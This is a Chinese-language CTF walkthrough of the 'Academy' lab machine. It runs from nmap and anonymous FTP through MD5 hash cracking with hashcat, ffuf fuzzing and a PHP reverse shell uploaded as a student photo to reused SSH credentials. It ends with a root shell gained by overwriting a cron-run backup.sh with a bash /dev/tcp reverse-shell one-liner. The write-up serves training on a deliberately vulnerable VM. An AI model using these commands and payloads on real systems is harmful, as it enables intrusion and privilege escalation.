学院演练

将这些框视为 CTF(而不是实际的渗透测试)。

Nmap 侦察

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
sudo nmap -A -p- -T4 10.0.2.15
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 12:46 EDT
Nmap scan report for 10.0.2.15
Host is up (0.00066s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 1000 1000 776 May 30 2021 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.0.2.4
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 c7:44:58:86:90:fd:e4:de:5b:0d:bf:07:8d:05:5d:d7 (RSA)
| 256 78:ec:47:0f:0f:53:aa:a6:05:48:84:80:94:76:a6:23 (ECDSA)
|_ 256 99:9c:39:11:dd:35:53:a0:29:11:20:c7:f8:bf:71:a4 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:0A:72:50 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

端口 22

CTF 上的 SSH 通常与实际渗透测试上的处理方式不同。在渗透测试中,可能需要强制 SSH 来检查弱凭据。此外,在渗透测试中暴力破解 SSH 可以用来测试客户端的检测措施。 IE。客户端应该注意到 500 次暴力破解 SSH 登录的尝试。

端口 80

正在运行 Apache 网络服务器。如果我们在浏览器中访问地址 http://<target IP>:80,我们将看到 Apache 2 的默认页面。这可能意味着 PHP 正在运行后端。顺便说一句,默认页面被认为是一个发现,因为它在不需要的时候公开了架构。

端口 21 (FTP)

我们可以使用ftp命令来检查目标上的FTP服务。让我们尝试使用 anonymous 用户登录该服务。

1
2
3
4
5
6
7
8
9
10
ftp 10.0.2.15
Connected to 10.0.2.15.
220 (vsFTPd 3.0.3)
Name (10.0.2.15:hakcypuppy): anonymous
331 Please specify the password.
Password: # <------- password is 'anonymous'
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> # <------- ftp shell

我们还可以使用 ftp anonymous@<target IP> 和空白密码。

如果我们在提示符中输入 ls ,我们可以看到 note.txt

1
2
3
4
5
6
ftp> ls              
229 Entering Extended Passive Mode (|||22266|)
150 Here comes the directory listing.
-rw-r--r-- 1 1000 1000 776 May 30 2021 note.txt
226 Directory send OK.
ftp>

我们可以使用 ftp 提示符中的 get 命令将此文件下载到我们自己的计算机上:

1
2
3
4
5
6
7
8
ftp> get note.txt    
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||10905|)
150 Opening BINARY mode data connection for note.txt (776 bytes).
100% |*****************************************************************************************| 776 2.17 MiB/s 00:00 ETA
226 Transfer complete.
776 bytes received in 00:00 (250.43 KiB/s)
ftp>

我们还可以在此处上传文件。然而,没有办法知道这个 ftp 服务器正在为我们列出哪个目录。我们可以尝试使用 http://<target IP>:80/note.txt 在 http 页面的 URL 中访问它,但它不会在那里。

这个想法是我们可能使用 ftp 服务器上传恶意软件并通过访问 URL 来执行代码。

注释.txt

既然我们已经泄露了这篇笔记,让我们看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat note.txt
Hello Heath !
Grimmie has setup the test website for the new academy.
I told him not to use the same password everywhere, he will change it ASAP.

I couldn't create a user via the admin panel, so instead I inserted directly into the database with the following command:

INSERT INTO `students` (`StudentRegno`, `studentPhoto`, `password`, `studentName`, `pincode`, `session`, `department`, `semester`, `cgpa`, `creationdate`, `updationDate`) VALUES
('10201321', '', 'cd73502828457d15655bbd7a63fb0bc8', 'Rum Ham', '777777', '', '', '', '7.60', '2021-05-29 14:36:56', '');

The StudentRegno number is what you use for login.

Le me know what you think of this open-source project, it's from 2020 so it should be secure... right ?
We can always adapt it to our needs.

-jdelta

以下是我们从这篇笔记中了解到的内容:

SQL:

有一个 [SQL](/coding/ languages/SQL.md) 数据库存储有关用户的信息,包括他们的密码。具体来说,这个表students存储学生信息。

运行火腿

有一个名为“Run Ham”的学生,其密码为 cd73502828457d15655bbd7a63fb0bc8,ID 号(用于登录)为 777777,用于某个名为“academy”的端点。该学生可能还没有机会更改他们的默认密码。

格里米

格里米,无论他们是谁,在任何地方都使用相同的密码。我们应该记住他们,如果我们找到他们的密码,那么我们可能会多次使用它来访问其他界面。

哈希密码

我们从 note.txt 获得的“密码”实际上很可能是密码的哈希值。我们可以使用一些工具来尝试从哈希值中找出原始密码。

哈希标识符

…是一种工具,它采用哈希值并输出创建它的可能/可能的算法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: cd73502828457d15655bbd7a63fb0bc8 # <------ hash goes here

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

现在我们知道它是一个 MD5 哈希,我们可以尝试破解它。

hashcat

Hashcat 是一个命令行工具,它使用您的 CPU 来破解哈希值。对于这个哈希,我们必须将其放入一个文件中,以便 hashcat 进行破解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hashcat -m 0 hashes /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting
...

Host memory required for this attack: 1 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

cd73502828457d15655bbd7a63fb0bc8:student # <-------- CRACKED PASSWORD

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target...

目录破坏

现在我们有了用户名和密码,我们需要找到可以使用它们的地方。从注释中,我们知道它们适用于登录“学院”的“学生”。

考虑到我们所有的开放端口(SSH、FTP、HTTP),我们可以尝试猜测这些凭据可能在哪里工作。从 HTTP 开始可能是最简单的起点,因为“学院”很容易成为端点。

我们不再在浏览器中检查学院端点,而是了解目录枚举(“目录破坏”)。

dirb

Dirb 是一个目录破坏工具,它是递归的,这意味着它将进入找到的每个目录的每个级别。这也使得它变慢,因为它进入并枚举每个目录。

ffuf

FUFF 是另一个非递归的目录破坏工具。当您为命令提供占位符 (FUZZ) 时,它会枚举您告诉它的级别:

1
ffuf -w /usr/share/wordlists/rockyou.txt:FUZZ -u http://10.0.2.15/FUZZ

一旦它返回该级别的结果,您就可以再次运行它以枚举下一个级别。例如,如果 Fuff 在第一次搜索中找到了 http://10.0.2.15/academy ,那么要枚举学院路径,您只需将命令更改为:fuff ... -u http://10.0.2.15/academy/FUZZ 即可。

登录

如果我们转到 http://10.0.2.15/academy 我们会得到一个登录页面,我们可以在其中使用新凭据登录。


进入后,我们可以访问的有趣选项卡之一是 My Profile 选项卡。单击此按钮,我们会找到一个可以上传“学生照片”的表格。


除了照片上传之外,我们还可以针对SQL-injection等进行渗透测试。但是,最简单的起点是按照预期使用表单并从那里进行调查。

学生照片上传

普通照片

从一张普通照片开始,让我们看看会发生什么:


我们可以看到一条绿色的成功消息,以及我们的新照片。如果我们调查来源,我们也许能够找出照片是从 HTML 中的何处加载的:


照片的端点是 studentphoto/duck.jpeg。让我们尝试使用浏览器访问该端点:


事实上,我们可以在浏览器中看到我们的鸭子,这意味着网络服务器正在执行该文件,因此我们知道如果我们上传一些代码它将被执行

反向外壳

知道这是一个 Apache 服务器,我们可以假设 PHP 正在运行后端。此外,我们可以看到 URL 中引用了 php 文件。

PHP 在服务器上执行,因此无论 PHP 能够做什么,我们都可以利用来执行 rev shell。我们可以使用的一个简单的 PHP shell 是来自 pentest Monkey 的 这个。复制并粘贴代码,更改主机名和端口值,并确保 netcat 正在侦听该端口。

1
2
3
4
5
6
7
8
9
10
11
nc -lvnp 44444
listening on [any] 44444 ...
connect to [10.0.2.4] from (UNKNOWN) [10.0.2.15] 51562
Linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
16:48:43 up 11:45, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - Thu13 24:46m 0.04s 0.03s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
$ www-data

权限提升

您已以 www-data 身份进入计算机,该计算机没有太多权限。然而,通过一些窥探,我们发现了很多美味的文件。具体来说,在 /var/www/html/includes 中,我们找到 config.php。让我们来看看:

1
2
3
4
5
6
7
$ cat config.php
<?php
$mysql_hostname = "localhost";
$mysql_user = "grimmie";
$mysql_password = "My_V3ryS3cur3_P4ss";
$mysql_database = "onlinecourse";
$bd = mysqli_connect($mysql_hostname, $mysql_user, $mysql_password, $mysql_database) or die("Could not connect database");

我们找到了 Grimmie 的密码! 这是专门针对 mysql 的,但我们知道 Grimmie 对所有内容都使用相同的密码。因此,让我们尝试通过 SSH 作为 Grimmie 来升级我们的权限:

1
2
3
4
5
6
7
8
9
10
11
12
ssh grimmie@10.0.2.15
grimmie@10.0.2.15''s password: My_V3ryS3cur3_P4ss
Linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Oct 5 20:45:41 2023 from 10.0.2.4
grimmie@academy:~$ # <--- we in

格里米

现在我们已经以 Grimmie 身份登录,让我们看看他们的主目录中有什么。

1
2
3
4
5
6
7
8
grimmie@academy:~$ ls
backup.sh
grimmie@academy:~$ cat backup.sh
#!/bin/bash

rm /tmp/backup.zip
zip -r /tmp/backup.zip /var/www/html/academy/includes
chmod 700 /tmp/backup.zip

该文件正在删除一个备份文件,从 .../html/academy/includes 目录中压缩一个新文件,并将其权限设置为仅 root。

由于这是一个备份文件因此该脚本可能会按计划的时间间隔对其进行备份。由于该脚本能够对其设置 root 权限,因此该脚本很可能*以 root 身份执行。

理论上,如果我们可以将此脚本替换为我们自己的脚本,我们就可以以 root 身份执行代码。 但首先我们需要确保它确实按计划执行。

自动化脚本/作业

我们可以检查一些事情来确保该脚本定期执行。第一个也是侵入性最小的方法是简单地检查上次编辑 /tmp/backup.zip 文件的时间:

1
2
ls -al /tmp/backup.zip
-rwx------ 1 root root 2222 Oct 6 20:50 backup.zip

由于运行此命令时当前时间为 20:51,我们可以看到 backup.zip 最近被访问过(在最后一分钟)。我们可以等待再次检查,看看是否捕获下一次执行,或者尝试其他一些方法来检查。

crontab

crontab 是一个 Linux 工具,允许您与 cron 进行交互。 Cron 是一项按一定时间间隔自动执行 Linux 进程/命令的服务。如果这个 backup.sh 脚本定期运行,我们可能会找到它的“cronjob”。

运行 crontab -l 以查看与当前用户 (grimmie) 关联的所有 cron 作业。不幸的是,没有。

系统

接下来我们可以检查是否有任何带有 systemd 的“计时器”。 Systemd 是 Linux 的服务管理器,可用于启动和停止进程等。为了与 systemd 交互,我们使用 systemctl 命令。

要列出所有 systemctl 计时器,我们使用命令 systemctl list-timers

1
2
3
4
5
6
7
8
9
10
grimmie@academy:~$ systemctl list-timers
NEXT LEFT LAST PASSED UNIT
Sat 2023-10-07 14:39:00 EDT 1min 1s left Sat 2023-10-07 14:09:01 EDT 28min ago phpsessionclean
Sun 2023-10-08 00:00:00 EDT 9h left Sat 2023-10-07 00:00:01 EDT 14h ago logrotate.timer
Sun 2023-10-08 00:00:00 EDT 9h left Sat 2023-10-07 00:00:01 EDT 14h ago man-db.timer
Sun 2023-10-08 04:45:10 EDT 14h left Sat 2023-10-07 08:00:01 EDT 6h ago apt-daily.timer
Sun 2023-10-08 06:06:18 EDT 15h left Sat 2023-10-07 06:58:01 EDT 7h ago apt-daily-upgra
Sun 2023-10-08 11:56:02 EDT 21h left Sat 2023-10-07 09:10:01 EDT 5h 27min ago systemd-tmpfile

6 timers listed.

有一些计时器,但似乎没有一个与我们的备份文件相关。

心灵感应

psypy 是 DominicBreuker 在 GitHub 上开发的工具。它允许我们无需 root 权限通过实时更新来监控 Linux 进程。也可以使用其他 Linux 工具,例如 toplsofps aux

用法

要将 psypy 用作 Grimmie,我们需要将其安装到目标计算机上。为此,首先我们需要从 psypy repo 下载并安装在我们自己的计算机上,然后使用 HTTP 提供服务。

提供服务后,我们可以将 cd 写入 /tmp(其中 backup.zip 所在位置),并使用 wget 将其下载到目标计算机上。现在,更改 pspy64 的权限,以便我们可以使用 chmod +x pspy64 执行它。现在我们可以运行它:

1
2
3
4
5
6
./psypy64
#####
## PLACEHOLDER
##
##
##

扫描输出,我们可以看到 backup.sh 每分钟都在运行。

第二次 RevShell

现在我们已经验证了 backup.sh 正在执行,我们可以操纵它来获取另一个 shell,但这次具有 root 权限和访问权限

我们的 bash 脚本:

使用 [bash](/coding/ languages/bash.md) 实现 shell 的简单脚本如下:

1
2
3
!#/bin/bash

bash -i >& /dev/tcp/10.0.2.4/44445 0>&1

使用nano编辑backup.sh,去掉原来的代码,用这个shell代码替换。 保存文件之前请确保您有另一个 netcat 实例并侦听正确的端口。

保存文件后,它应该在接下来的 2 分钟内执行,并且在您的监听器上您应该看到:

1
2
3
4
5
6
nc -lvnp 44445
listening on [any] 44445 ...
connect to [10.0.2.4] from (UNKNOWN) [10.0.2.15] 34634
bash: cannot set terminal process group (18009): Inappropriate ioctl for device
bash: no job control in this shell
root@academy:~# # <-----------

标志

一旦我们以root身份进入,我们所要做的就是观察周围的环境:

1
2
3
4
5
6
7
8
9
10
11
root@academy:~# ls
ls
flag.txt
root@academy:~# cat flag.txt
cat flag.txt
Congratz you rooted this box !
Looks like this CMS isn't so secure...
I hope you enjoyed it.
If you had any issue please let us know in the course discord.
Happy hacking !
root@academy:~#

其他途径的注意事项:

在尝试了这个盒子没有先观看演练之后,还有一些其他有趣的途径可以尝试。上面的演练是我自己的调查+TCM 提供的演练的组合。

mysql

一旦您以 Grimmie 身份通过 SSH 连接到目标,您就可以使用相同的密码访问 mysql 数据库。


这里一些美味的表包括:dbuser,这两个表都可以让您访问凭据。

[!资源]

[!我以前的笔记(在文本中链接)]

  • 你可以在这里找到它们